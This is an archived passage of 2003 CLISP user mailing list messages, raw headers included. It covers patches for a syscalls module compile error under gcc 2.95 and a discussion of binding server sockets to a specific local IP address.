clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Mon, 27 Oct 2003 17:19:25 -0800") References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Trying to build with syscalls support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 04:58:26 2003 X-Original-Date: Tue, 28 Oct 2003 07:56:08 -0500 > * Thomas F. Burdick [2003-10-27 17:19:25 -0800]: > > I'm trying to compile a clisp with the syscalls module, so I can use > posix:stream-lock instead of the gross hack I currently use, but > compiling 2.31 on Linux/x86 dies. I must be doing something wrong, > because I'd imagine this would be the most tested platform. indeed... > calls.c: In function `C_subr_posix_file_stat': > calls.c:553: parse error before `file' > calls.c:556: `file' undeclared (first use in this function) > calls.c:556: (Each undeclared identifier is reported only once > calls.c:556: for each function it appears in.) > calls.c:557: warning: left-hand operand of comma expression has no effect > calls.c:561: `buf' undeclared (first use in this function) > calls.c:578: warning: left-hand operand of comma expression has no effect > make[1]: *** [calls.o] Error 1 > make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls' > make: *** [syscalls] Error 2 I bet your GCC is not 3 (i.e., not C99). Sorry. Please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Only a fool has no doubts. --- calls.c.~1.12.~ 2003-10-02 10:40:04.050878700 -0400 +++ calls.c 2003-10-28 07:54:28.967264600 -0500 @@ -549,8 +549,8 @@ { /* Lisp interface to stat(2), lstat(2) and fstat(2) the first arg can be: file stream, pathname, string, symbol, number. the return value is the FILE-STAT structure */ - bool link_p = missingp(STACK_0); skipSTACK(1); - object file = popSTACK(); + bool link_p = missingp(STACK_0); + object file = (skipSTACK(1), popSTACK()); struct stat buf; if (builtin_stream_p(file)) { From don-sourceforge@isis.cs3-inc.com Tue Oct 28 09:33:34 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEXin-0003NT-00 for ; Tue, 28 Oct 2003 09:33:34 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AEXhg-0000Mh-0D for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 09:32:24 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h9SHaQi27060 for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 09:36:26 -0800 Message-Id: <200310281736.h9SHaQi27060@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam detection software, running on the system "sc8-sf-list2.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Is there a way to create a socket stream bound to a particular IP address? I recall that I thought it was a big improvement when it became possible to create one that was not, but now I'd like to be able to use multiple addresses on the same machine for different servers. [...] Content analysis details: (0.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- Subject: [clisp-list] binding sockets? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 09:34:29 2003 X-Original-Date: Tue, 28 Oct 2003 09:36:26 -0800 Is there a way to create a socket stream bound to a particular IP address? I recall that I thought it was a big improvement when it became possible to create one that was not, but now I'd like to be able to use multiple addresses on the same machine for different servers. Also I notice in impnotes: (SOCKET:SOCKET-SERVER-HOST socket-server) (SOCKET:SOCKET-SERVER-PORT socket-server) Returns the host mask indicating which hosts can connect to this server and the port which was bound using SOCKET:SOCKET-SERVER. Is that correct? I thought this was the local ip address, not remote. I've not looked up the underlying c mechanisms, but perhaps one solution would be to make these functions setf-able ? From hin@van-halen.alma.com Tue Oct 28 10:12:51 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEYKp-0000ab-00 for ; Tue, 28 Oct 2003 10:12:51 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AEYKj-0005fv-Iu for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 10:12:45 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 73DE710DF7F; Tue, 28 Oct 2003 13:12:44 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h9SICi60020853; Tue, 28 Oct 2003 13:12:44 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h9SICiBO020850; Tue, 28 Oct 2003 13:12:44 -0500 Message-Id: <200310281812.h9SICiBO020850@van-halen.alma.com> From: "John K. Hinsdale" To: don-sourceforge@isis.cs3-inc.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <200310281736.h9SHaQi27060@isis.cs3-inc.com> (don-sourceforge@isis.cs3-inc.com) Subject: Re: [clisp-list] binding sockets? X-Spam-Score: 0.0 (/) X-Spam-Report: Spam detection software, running on the system "sc8-sf-list2.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: > Is there a way to create a socket stream bound to a particular IP > address? Doesn't appear to be. I checked the source (socket.d) and it looks like the creation of a socket by default listens on all configured addresses on the server (i.e., uses the mask "0.0.0.0"). [...] Content analysis details: (0.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 10:13:19 2003 X-Original-Date: Tue, 28 Oct 2003 13:12:44 -0500 > Is there a way to create a socket stream bound to a particular IP > address? Doesn't appear to be. I checked the source (socket.d) and it looks like the creation of a socket by default listens on all configured addresses on the server (i.e., uses the mask "0.0.0.0"). > I recall that I thought it was a big improvement when it became > possible to create one that was not, but now I'd like to be able to > use multiple addresses on the same machine for different servers. To do that it would be necessary to extend the CLISP socket interface to allow the specification of the listen address expcitly as part of the creation of the server socket. This is part of the info that gets passed to the bind() system call. This "address" is not a host address but rather a "mask" with 0 as a wildcard, e.g. 0.0.0.0 matches everything, while 10.100.123.143 will match that exact IP and have the effect of listening only on that IP. The source in socket.d seems to treat the listen mask as a "hostname" that can be resolved but that is not who things work w/ the IP address on the server side; it is more the "mask" that gets matched vs. the destination address someing from the connecting client. > Returns the host mask indicating which hosts can connect to this > server and the port which was bound using SOCKET:SOCKET-SERVER. Seems like for a server-side socket it should return the "mask" above. To call this "which hosts can connect" is inaccurate; rather it should be described as "which local IP addresse(s) can be connected to." > Is that correct? I thought this was the local ip address, not > remote. It is a mask that matches one or more local IP addresses. > I've not looked up the underlying c mechanisms, The listen-mask and listen port are tightly coupled info and should be specified together. They are part of the "C" structure "struct sockaddr" which contains members for the address and port. This struct serves both the client and server cases, but the address part means different things in each case: for client it means the host/IP and port to connect to; for the server it means the "listen-mask" and port to listen on. This structure is associated w/ the "C" socket for a server by the system call bind(). Generally to make a TCP connection the calls are: Server: socket() ... bind(address-mask/port) ... listen() ... accept() Client: socket() ... connect(hostname-or-address/port) > perhaps one solution would be to make these functions setf-able ? Probably not appropriate given that you cannot generally change the listen-addresses and port once a socket is created and listening. It should just be set at creation time and not changed thereafter (but should be allowed to be examined). Hope this helps. It's been a while since I did TCP programming but I think this is mostly accurate. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Tue Oct 28 10:21:48 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEYTU-0001mN-00 for ; Tue, 28 Oct 2003 10:21:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEYTO-0003zF-L7 for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 10:21:42 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9SILZk24108 for ; Tue, 28 Oct 2003 13:21:36 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200310281736.h9SHaQi27060@isis.cs3-inc.com> (Don Cohen's message of "Tue, 28 Oct 2003 09:36:26 -0800") References: <200310281736.h9SHaQi27060@isis.cs3-inc.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding sockets? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 10:24:49 2003 X-Original-Date: Tue, 28 Oct 2003 13:21:35 -0500 > * Don Cohen [2003-10-28 09:36:26 -0800]: > > Is there a way to create a socket stream bound to a particular IP > address? I recall that I thought it was a big improvement when it > became possible to create one that was not, but now I'd like to be > able to use multiple addresses on the same machine for different > servers. > > Also I notice in impnotes: > > (SOCKET:SOCKET-SERVER-HOST socket-server) > (SOCKET:SOCKET-SERVER-PORT socket-server) > > Returns the host mask indicating which hosts can connect to this > server and the port which was bound using SOCKET:SOCKET-SERVER. > > Is that correct? I thought this was the local ip address, not remote. it's a mask for remote hosts. see stream.d:SOCKET-SERVER and socket.d:create_server_socket. > I've not looked up the underlying c mechanisms, but perhaps one > solution would be to make these functions setf-able ? too much trouble. it will amount to closing an existing socket server and creating a new one. all it will save is a lisp object allocation which is cheap (you aren't creating zillions of those, right?) -- Sam Steingold (http://www.podval.org/~sds) running w2k Growing Old is Inevitable; Growing Up is Optional. From don-sourceforge@isis.cs3-inc.com Tue Oct 28 10:31:44 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEYd6-0002sr-00 for ; Tue, 28 Oct 2003 10:31:44 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEYcu-0005G4-DN for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 10:31:32 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h9SIZYf27410; Tue, 28 Oct 2003 10:35:34 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16286.46838.129218.945084@isis.cs3-inc.com> To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] binding sockets? In-Reply-To: <200310281812.h9SICiBO020850@van-halen.alma.com> References: <200310281736.h9SHaQi27060@isis.cs3-inc.com> <200310281812.h9SICiBO020850@van-halen.alma.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 10:33:40 2003 X-Original-Date: Tue, 28 Oct 2003 10:35:34 -0800 John K. Hinsdale writes: > To do that it would be necessary to extend the CLISP socket interface > to allow the specification of the listen address expcitly as part of > the creation of the server socket. This is part of the info that gets > passed to the bind() system call. This "address" is not a host > address but rather a "mask" with 0 as a wildcard, e.g. 0.0.0.0 > matches everything, while 10.100.123.143 will match that exact IP and > have the effect of listening only on that IP. That leaves me wondering about what's in between. I suppose 10.100.123.0 means any last byte, but one might hope for more control. Like address/30 or even separate 32 bit address and mask. Still, even the two extremes would be very useful. > > Is that correct? I thought this was the local ip address, not > > remote. > It is a mask that matches one or more local IP addresses. ok, so request #1 is a fix to documentation Of course, it won't make much difference if there's no way to control the value. So request #2 is that socket-server should accept this as an argument. (I see the reply coming: "great idea, please submit the patch". I'm only hoping as usual that someone else gets there before me.) > The listen-mask and listen port are tightly coupled info and should be > specified together. I don't see how they're tightly coupled. I gather you can't change either of them after creation? Is there a way to listen on multiple ports? From sds@alphatech.com Tue Oct 28 11:12:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEZGz-0001ev-00 for ; Tue, 28 Oct 2003 11:12:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEZFa-0002hp-N9 for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 11:11:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9SJBJk08940; Tue, 28 Oct 2003 14:11:19 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200310281812.h9SICiBO020850@van-halen.alma.com> (John K. Hinsdale's message of "Tue, 28 Oct 2003 13:12:44 -0500") References: <200310281736.h9SHaQi27060@isis.cs3-inc.com> <200310281812.h9SICiBO020850@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding sockets? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 11:13:23 2003 X-Original-Date: Tue, 28 Oct 2003 14:11:18 -0500 > * John K. Hinsdale [2003-10-28 13:12:44 -0500]: > > > I recall that I thought it was a big improvement when it became > > possible to create one that was not, but now I'd like to be able to > > use multiple addresses on the same machine for different servers. > > To do that it would be necessary to extend the CLISP socket interface > to allow the specification of the listen address expcitly as part of > the creation of the server socket. the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in which case the peer address of that SOCKET-STREAM will be the only address from which this SOCKET-SERVER can accept connections. I am not sure about the reasons for this dichotomy (either port or mask but not both; either mask 0.0.0.0 or a single IP). I think it would be a good idea to add a second optional argument to act as a mask (I am not sure what type that should be - a dotted quad string? a bit vector? a byte array? a uint32? what about ipv6?), i.e.: (socket-server port mask) backwards compatibolity requires supporting (socket-server socket-stream) maybe we also need (socket-server port socket-stream) what about (socket-server socket-stream mask) this would apply mask to the socket-stream-peer-host. -- Sam Steingold (http://www.podval.org/~sds) running w2k As a computer, I find your faith in technology amusing. From tfb@famine.OCF.Berkeley.EDU Tue Oct 28 15:28:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEdGM-0003WD-00 for ; Tue, 28 Oct 2003 15:28:34 -0800 Received: from pestilence.ocf.berkeley.edu ([192.58.221.242] ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEdFE-00017t-OD for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 15:27:25 -0800 Received: from famine.OCF.Berkeley.EDU (root@famine.OCF.Berkeley.EDU [192.58.221.246]) by pestilence.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h9SNRA9n018383; Tue, 28 Oct 2003 15:27:23 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id h9SIhk508324; Tue, 28 Oct 2003 10:43:46 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16286.47330.478663.196650@famine.OCF.Berkeley.EDU> To: "Thomas F. Burdick" Cc: CLISP Users List Subject: [clisp-list] Trying to build with syscalls support In-Reply-To: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.7 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 15:29:27 2003 X-Original-Date: Tue, 28 Oct 2003 10:43:46 -0800 Thomas F. Burdick writes: > I'm trying to compile a clisp with the syscalls module, so I can use > posix:stream-lock instead of the gross hack I currently use, Hmm, when I built clisp with the following command line: ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient and I load the resulting CLISP, I don't see the syscalls module, nor a POSIX package. -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From tfb@famine.OCF.Berkeley.EDU Tue Oct 28 15:28:44 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEdGW-0003Xi-00 for ; Tue, 28 Oct 2003 15:28:44 -0800 Received: from pestilence.ocf.berkeley.edu ([192.58.221.242] ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEdFK-00018c-Eh for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 15:27:30 -0800 Received: from famine.OCF.Berkeley.EDU (root@famine.OCF.Berkeley.EDU [192.58.221.246]) by pestilence.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h9SNRAA3018383 for ; Tue, 28 Oct 2003 15:27:29 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id h9SI6ko07743; Tue, 28 Oct 2003 10:06:46 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16286.45110.764828.363336@famine.OCF.Berkeley.EDU> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Trying to build with syscalls support In-Reply-To: References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.7 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 15:29:31 2003 X-Original-Date: Tue, 28 Oct 2003 10:06:46 -0800 Sam Steingold writes: > > * Thomas F. Burdick [2003-10-27 17:19:25 -0800]: > > > > I'm trying to compile a clisp with the syscalls module, so I can use > > posix:stream-lock instead of the gross hack I currently use, but > > compiling 2.31 on Linux/x86 dies. I must be doing something wrong, > > because I'd imagine this would be the most tested platform. > > indeed... > > > calls.c: In function `C_subr_posix_file_stat': > > calls.c:553: parse error before `file' > > calls.c:556: `file' undeclared (first use in this function) > > calls.c:556: (Each undeclared identifier is reported only once > > calls.c:556: for each function it appears in.) > > calls.c:557: warning: left-hand operand of comma expression has no effect > > calls.c:561: `buf' undeclared (first use in this function) > > calls.c:578: warning: left-hand operand of comma expression has no effect > > make[1]: *** [calls.o] Error 1 > > make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls' > > make: *** [syscalls] Error 2 > > I bet your GCC is not 3 (i.e., not C99). Nope, it's 2.95 > Sorry. > Please try the appended patch. Thanks, that almost does it. After applying that patch, the compiler complained that clisp.h was declaring a global variable after a function definition, when it was included from calls.c. With the appended patch, it compiles all the way, and the produced clisp seems to kind-of work. Actually, it dies in "make testsuite" with a segfault on this test: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault The non-syscalls build fails here, cleanly: (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) ERROR!! " *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1 I'm a little uncomfortable with the resulting build, but I'll try testing the actual application with it. --- syscalls/calls-orig.c Tue Oct 28 09:42:18 2003 +++ syscalls/calls.c Tue Oct 28 09:42:46 2003 @@ -5,6 +5,7 @@ */ #include "config.h" +#include "clisp.h" #if defined(TIME_WITH_SYS_TIME) # include @@ -39,8 +40,6 @@ # define UNIX_CYGWIN32 # undef UNICODE #endif - -#include "clisp.h" /* #define DEBUG */ #if defined(DEBUG) -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From tfb@famine.OCF.Berkeley.EDU Tue Oct 28 16:24:57 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEe8v-00061q-00 for ; Tue, 28 Oct 2003 16:24:57 -0800 Received: from pestilence.ocf.berkeley.edu ([192.58.221.242] ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AEe7x-0003BZ-HL for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 16:23:57 -0800 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [192.58.221.246]) by pestilence.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h9T0Nu9T026022 for ; Tue, 28 Oct 2003 16:23:57 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7/8.10.2) id h9T0Nui15112; Tue, 28 Oct 2003 16:23:56 -0800 (PST) Message-ID: <16287.2203.893935.449426@famine.OCF.Berkeley.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: "Thomas F. Burdick" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Trying to build with syscalls support In-Reply-To: References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam detection software, running on the system "sc8-sf-list2.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Sam Steingold writes: > > * Thomas F. Burdick [2003-10-27 17:19:25 -0800]: > > > > I'm trying to compile a clisp with the syscalls module, so I can use > > posix:stream-lock instead of the gross hack I currently use, but > > compiling 2.31 on Linux/x86 dies. I must be doing something wrong, > > because I'd imagine this would be the most tested platform. > > indeed... > > > calls.c: In function `C_subr_posix_file_stat': > > calls.c:553: parse error before `file' > > calls.c:556: `file' undeclared (first use in this function) > > calls.c:556: (Each undeclared identifier is reported only once > > calls.c:556: for each function it appears in.) > > calls.c:557: warning: left-hand operand of comma expression has no effect > > calls.c:561: `buf' undeclared (first use in this function) > > calls.c:578: warning: left-hand operand of comma expression has no effect > > make[1]: *** [calls.o] Error 1 > > make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls' > > make: *** [syscalls] Error 2 > > I bet your GCC is not 3 (i.e., not C99). [...] Content analysis details: (0.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 16:25:26 2003 X-Original-Date: Tue, 28 Oct 2003 16:23:55 -0800 Sam Steingold writes: > > * Thomas F. Burdick [2003-10-27 17:19:25 -0800]: > > > > I'm trying to compile a clisp with the syscalls module, so I can use > > posix:stream-lock instead of the gross hack I currently use, but > > compiling 2.31 on Linux/x86 dies. I must be doing something wrong, > > because I'd imagine this would be the most tested platform. > > indeed... > > > 